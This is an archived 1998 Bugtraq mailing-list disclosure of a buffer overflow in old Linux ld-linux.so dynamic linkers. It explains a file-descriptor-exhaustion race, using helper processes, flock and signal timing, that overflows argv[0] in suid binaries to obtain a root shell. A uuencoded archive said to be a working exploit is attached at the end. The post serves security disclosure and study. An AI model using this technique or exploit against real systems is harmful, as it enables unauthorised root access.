An old ld-linux.so hole

From: Rafal Wojtczuk (nergalat_private)
Date: Wed Feb 04 1998 - 08:20:39 PST

  • Next message: Darren J Moffat - Sun UK - Consultant Engineer: "Re: RedHat 4.x/5.0 /dev permissions"

      Section I. Overview
    Hello,
      About a half year ago there was some rumour on bugtraq concerning a buffer
    overflow in Linux dynamic linkers, ld.so and ld-linux.so. You can take a look
    at the beginning of the thread at http://www.geek-girl.com/bugtraq/1997_3/0089.html
    to refresh old memories; I'll capitalize anyway.
      Briefly, there exists a buffer overrun in ld-linux.so versions 1.7.14,
    1.8.2, 1.9.2 ( others <=1.9.2 probably too, I haven't tried ) . It occures
    in the procedure which formats an error message. The said procedure puts
    into a buffer argv[0], not checking its length. So, if we can force an error
    during dynamic linking of a suid program, we can smash the stack with
    argv[0] contents and gain extra priviledges. I haven't found anything on the
    net exploiting this vulnerability; as we'll see, it's not a trivial task. Worth
    an effort, though; enables us to rip a root shell out of any suid dynamically
    linked binary on the system ( sounds promising, doesn't it ).
      At the end of this message I enclosed a working exploit. Use it thougtfully.
    Anyway, it's a half-year-old hole, and everybody who installed latest
    version of linkers ( that is at least 1.9.5 ) cannot be hurt.
      I hope the enclosed exploit is interesting enough ( from theoretical point
    of view ) to be worth publishing, regardless of its being fairly outdated.
    
      Section II. Misc.
    1) the said faulty procedure ( was it named fd_printf ? ) was copied almost
    verbatim from kernel function printk. In linux/kernel/printk.c line 161 we
    can find a tasty comment
    i = vsprintf(buf + 3, fmt, args); /* hopefully i < sizeof(buf)-4 */
    In this case, buf is a static variable. In ld-linux.so buf is automatic.
    Oops...
    2) as you surely know, ld-linux.so 1.9.2 is broken completely, as it deals with
    LD_PRELOAD variable even when linking a suid binary. An exploit based on this
    "feature" was composed by Dan McGuirk, I guess. In this article, we're not
    using this vulnerablity.
    3) Julian Assange (proffat_private) mentioned on bugtraq that he was able
    to attack the linker with resource starvation ( for file descriptors ). I
    assume it was possible on a system with artificially lowered file descriptors
    limit; you can look at his a bit vague report at the URL mentioned at the
    beginning of this article. Anyway, the only thing in his article that
    resembles my approach is the keyword "resource starvation". Judge it
    yourself.
    
      Section III. General idea.
      To perform its job, dynamic linker must open a library file first. Let's try
    to prevent it.
    
      Section III.V :) Scenario 1.
      Before execing a suid program, we can use up all file descriptors
    available for a single process by simply opening any file 256-3 times (
    descriptors 0,1,2 are open anyway ). But execve needs one unused descriptor to
    work - execve will fail, not giving ld-linux.so a chance to misbehave.
    
      Section IV. Scenario 2.
      We may create a race condition, gambling on the number of free file table
    entries.
    First, let's spawn 3 processes ( called eat_desc ) which will use up 256
    descriptors each and sleep. Then we spawn simultaneosly another eat_desc and
    a program (called spawn.c ) which executes
    execl("/usr/bin/passwd",long_argv0,0).
    Of course we can utilize any other dynamically linked suid binary. Assuming
    that file table has 1024 entries ( default value ) the following scenario is
    possible: spawn.c executes /usr/bin/passwd. Immediately afterwards, a context
    switch occures, and the fourth eat_desc starts executing. It devours all
    remaining file table entries and goes to sleep. Another context switch and
    /usr/bin/passwd (formerly known as spawn.c ) executes. Dynamic linker cannot
    open /lib/libc.so.5 ( error: file table full ), cooks an error message,
    an overflows occures. Great. However, a standard shellcode is of no use in
    this case: we can't exec anything ( there is still no file table entries
    free ! ). Instead of giving up after first unsucesful exec, shellcode should
    first kill one of eat_desc processes, and then in a loop infinitely try to
    execute the program we wish to.
      This scenario is possible to accomplish ( I managed to once :) . Yet, it's
    ineffective. We can complicate it, assuring practically 100% success ratio.
    
      Section V. Scenario 3.
      Let's try to force a context switch immediately after spawn.c calls exec.
    spawn.c should open a file (called .lock ) receiving descriptor lock_fd and set
    a close-on-exec flag on it. Then spawn.c executes flock(lock_fd,LOCK_EX).
    Another program ( called noloop ) opens .lock and performs
    flock(noloop_fd,LOCK_EX) as well ( and goes to sleep). We also spawn a program
    called eat_time, which simply does for(;;);, generating some load on the
    machine.
      A great moment occures: spawn.c does execl("/usr/bin/passwd",long_arg0,0).
    As some load on the machine is imposed by eat_time, system call exec ( which
    is time-consuming) should use whole time quantum available for spawn.c ( now
    this process is passwd ),so a context switch is bound to happen. (If the
    attacked machine is extremely fast, we may need to spawn more then one eat_time
    to achieve this ). Noloop starts excuting. Spawn.c closed the descriptor
    lock_fd during exec it performed, so noloop can get out of flock it was
    sleeping on ( but not before spawn.c did exec - that's the trick). Now it's the
    time to devour all remaining file table entries. When control returns to
    passwd ( formerly known as spawn.c ), dynamic linker will generate an overflow.
    The rest resembles Scenario 2.
    
      Section VI. Additional notes to scenario 3
    a) the whole scenario should be performed after we have used up almost all file
    table entries. 3 eat_desc should be spawned first, the fourth should devour
    all minus three entries.
    b) when noloop decides to eat remaining file table entries, it should first
    send SIGSTOP to passwd ( formerly known as spawn.c ). Then it can eat, not
    fearing a context switch. Finally, it sends SIGCONT to passwd.
    c) some synchronizing between noloop and spawn.c is neccessary - the latter
    should't exec /usr/bin/passwd before noloop has slept on the flock call. In my
    exploit it is done using signal SIGUSR1. Look at the code for details.
    d) scenario 3 won't work for linker version 1.7.3, which at the start does
    open("/dev/zero",O_RDONLY). It fails, but generated error message doesn't
    contain argv[0], so no overflow this time. Scenario 2 can work: context switch
    to the fourth eat_desc should happen after open("/dev/zero",...) call.
    
      Section VII. The exploit.
    Standard disclaimer applies.
    Probably it works best on an idle machine. More precidely, during the exploit
    execution the number of free file table entries should not be modified by any
    process other than eat*, noloop, spawn. You may need to change some
    default parameters, for instance the number of eat_time processes or eat_desc
    (the latter if your kernel file table size is greater then 1024 or the limit of file
    descriptors per process is less than 256 ). If the exploit doesn't work, you
    may experiment with DEFAULT_OFFSET in doit.sh
    
      Section VIII. Traditional closing unrelated mumbling
      One simple conclusion from the above musings - no buffer overflow is
    harmless.
    As usuall, I encourage any comments ( to be sent to nergalat_private ).
    I remind you that I'm still an unemployed student, which should be changed :)
    
                       "That's all for now.
                       I hope I managed to prove that exploiting buffer overflows
                       should be an art."
                             by now you should know this quotation.
       Save yourself,
       Nergal
    
    begin 644 linker-exploit.tgz
    M'XL(`%F2V#0``^U:_U/;RA'/K]9?L3%)8Q,A)'\#XOA-"9@,TP280.8U#:E'
    MED[V!4FGT4G8;B?_>W?O)&,"/%Y?!Y*VVDF0O+>WM[?:V_W<2;[@F26G3QZ2
    M'-O>ZG;A"4"WM]4KKAVZ:MIJVP"]3J_GV%VGUP%PG':O_03L![6JH%QF;@KP
    M))TYW6V[T[E++N(R<I,[F_];:>WIYIC'FW)J[`\/=C^^.QL='QR<#L\&MI&)
    MW)N"%0KOPK`VF9N-,AXQ^)-Q=OA^.#HYW!\\>VJL`0]@(?(4(M>;\IC1[TN6
    M+B!P969"'GLBBEB<039E$(@P%#,>3R!$46/MFEK]PV?2PQ\G#FFW-F7BSF)X
    M=N+`L^L&HLSIR>ZO1R3V7=>6[KK*:M]D=>XP7VKS)1IZG_DR9"P!QV#>5,!A
    M`+'(IM0Z=9.$Q1+E4W!A-N4A,X'-DQ`7&_H%?_HF)"F3$O:R--S80]-B$0J1
    MP#,U*>."AR%L[-#$^U?WK97[]LI]YTJ^?#:_]_F7'K&\AXLQ7/^]3N?N]=_K
    MZ/7?;3EV:\NA];^U5:W_1Z$U'GMA[C-X+3.?"VOZBW'%RF..W.N\P(NSD%C&
    MFL\"6C&[1Y]&'X:[^[MOW@U'!X?OAE#?9)FWF;A2SORZ$;D\;C2-?QHUCNN(
    MF_#5A(N^4:/5T>`P@'8?.+R&5K>+-R]?-HU:#5=EH_$5VP0NI,:-$4PX'GW8
    M/SYZ]ZG9A,$`-IPFH/Y:+4A2'"1HH-DL34VH/^=0-X$W^]2:($^DC7I=_Z1!
    MO%!(UKAHTJ!7`HI[4PHVP+E-LG6K:.LVT78AFK@YBJG[;\!"R8AY@1/^BJQE
    MXS?CH9]_F7]_Y/J'5D^O?Z=GM]MMO?X[U?I_#+I:G&HY]ON/$G45_2P4N1=,
    M/O`8]^'_EN,4]=_NM;IJ_>-.H%K_CT%7^'^-S3TL.X!8'%&L!"Q;4L1N"&H?
    MH#%NG/NY-"'+TX3C-<FSE"L.`@$LN$Q+N1Y+Q\3U4BV?NDFF?HLX8U&2<:$`
    MJXN85<->@_L_VA'_IZ3]_Y#5_][Z[SC=*_S?:745IVM7Z_\QZ-_&_Y)/,"G\
    MIWL"XU)P'PA\8A+0^$-MDZ%Q+^"'7\!6($7K0'L0\3=H:S$G/<A7F(88;CKQ
    M,.M,\0&OK^./R^4N)`C[^B9!%0-P,\$;)/#9^=+LP^:ZXHL`U/&#Y<'ZIE'3
    M,V^<'KX]/#HSBX$)P0=AN5&IJ].2^HJU-`SN"E#D]0#M5KN4<D-`7?1V@,UY
    MUG#H]IM1H]38P/%-P*$^GGYP]!BH&-68\.YX[R^CX5]+S=>D3\^.3]2NHQP"
    MC9292-0H2V_?UG/O^.CL^YZ4KE7/<C]"CIDQF+`,J#/S8;R`,I,'J8C`VE2`
    M`@0=J,0Y\A?DNPI1_JQ4!/B#CD'YW[;OS/\=N]==GO^V;)7_VUNM*O\_!JWF
    M_Y3'DSL2^V^6B:N2<"W_GWX\W,>TG\M40<QEZB]EWGP\.!A^&)T>_FU8J]6<
    MEFTOFX9OWY;\EMW97O*/CD_H1,6>[]B&H?(Z91\T>R2G+`P]X;//7V!@U,_G
    M;>=\[MGG\^T=O#K%M7T^'R.OU3V?]WIX/SZ?N\'YW&[A/<K8.W7JZODHCF(,
    MFYWM\WF7Z>Y;V,7>7E&-]QWB;>EV=>_1$$J-/=;L`$?=1I4=IKO3?;<070Z%
    M?(9R05#^+S)IO6]@TE44NPC-L2;12722BLF$,\K&,Y=.IP6,&;`Y\_(,T_*,
    M9U-@.?<'B*S@[YHH$1MY3$\+14(13RB3CYA,&E1)56T<C5P9C4:->B0N0WB.
    M;>9SYL[K*P47^Z"*:P57\7V!-4S76G$YSH.56OO'RJ.2O5D>54RJ2Gat_private>
    M'>R;H)IB[K&&LZ.K5,BR%Q(F_))!+B$2*2,8$'M8FJB4WUI-KX[D<G6PW\"\
    M91/4J*%"<KH[%J@O+-X2Q,Q#==)-%^3]0*0>2M`;`);JC<X\`XD/PIL"C\%S
    MZ8B/GJ(^YY^Z,GZ1H=-066&-;Y;&P()E1FU]$\6Q;.-##1OE@C)!.=>$>BI$
    MAJXL#"3S4PR0#'=M9(_J!=J:#&<."MW87_"*+HEYE(@TH\B935D,C%YYJ'<7
    M1FTBT$DS7$U]>C<R%3-J!"DB%74T96P/4L8T+R#4EKEC_,MB3"'8:-3<`.V@
    MX)RZZ#$U23((=XPJ"9`/+^A%R8Q>6\@<'<G\OK:SC&B>H1Z<""J*>.QFZ/,H
    M8C['NW"AG&,L(T5/5K]8T5"G#)AO19I`EP6?5Q+.E[[FL\GD<YELD*<C^7?@
    MQW77]]-1DJ4FT-T5F#2!HYH5K$@`SBP639.:;D6<^A'BW"/A\V`!]$9JF=((
    M9?%8LC0CGZ%7*`%H?+I\H87#"^TSBF]:4T\;-W.C@P$P4'V?0ZO;:Q8+3I^9
    MU__!4D&QBNVWK#MM-_W=I+[]WQC%^>.CD#>Q<YF8FK"QXJI6`<YE/L9JY7K*
    M'X+.$^B<0@2!1&1*\R_'^BA)@G1BV+X">_Y\?A[7]3,K5$U%'OKXC)EWH=[7
    MV9@WT#JN%&E[Z#FC32HDUILJEE9?7]CZ]<5*=!'CY0`ZA*?7&Z6*ER^;].!U
    MN'P?D/1JX8M2AH-&+,*9-#`X32IYYK(>DI-PYEZRH$9XN6S`[L@/,<?>>!SD
    M0HS`FWRM*RZ4849!90-T3D<E0ZPC\24UJ*!5R9ULKHZ'_[>(=MGOAP\[QCWG
    M/ZU6URGP/]$6XG][JU>=_SP*#<NO$C";A?X&IHA\;DD!CK5E.1U"95C])298
    MNG6L':ME[.;95*2O$`"E$S?\,_<BB_FYE83&&9T;JXJ%UXA1&2>]V.JY19)V
    M8Y]P`M8R++*4G),\301!"A&'"\OX)'+$2C'XG/8CXYSJ?J;@1K@@_'')?02O
    M7HI((),*S!#(BRW#V!-1HK`(5L<]Q"9Y2FA/'67/W(5!AG#*[,N2N?STI(!D
    M^E.3/L(5F'@>;`AXQO&?Y2E>S`RR/<UCA70M.;7@!%$X@J[EJ8>",S=P.`$U
    M-)U?$CR9,(FV*D<A!@L9?5NB?$.($%R0(9],"3.[,\S;"`B*`E6H+&W5`,L-
    M0YP70H7EG!3>FA#>0CB@4*P%IS0O<G6Y<4"3I3ZN(8XJ"(;T4IX0'F4*E[)8
    MYBGYTLTL>,,R!>=<A71]A3/0?NTO.OJYKM0U<+M'L)C\I0QB+H+@I8T:&P$]
    M/\2L^ML:-RN43H2RM#`>&@:%!=D9E\)EQ4:(C<'*H&G!)Y:9X.>IZLHD*D9E
    M,^5/-`VA::2B"W61AU&*OL=9?N4#8S$W,6#@$"Y8DNF045Z!PBL;&(X^N:78
    M:QD>QEK(/4*EY$(5\@B38[730(\+L_BN"%+F,=J%**0*UY#J*X6=#8V=@SP,
    MZZI'1&[6FXJKKX^,\E,CO?N(U;!%'!IOSGXU-8ZG_G0ZAPM(#QC1#F7"](/1
    MX-M44K3&U"@T65<#?LLX#.Y10<,2>&>I4O,"8T1B8*;+9BZ-XD,GRWA?]`SY
    M!8-ZRVZM;A9P*Y7BQF=65WLID48N[L:XVK4QS"QNIDX7C>7W23\Z45944445
    M551111555%%%%5544445551111555%%%%5544445551111555%%%%554T4]$
    *_P*/#@->`%```%54
    `
    end
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:41:36 PDT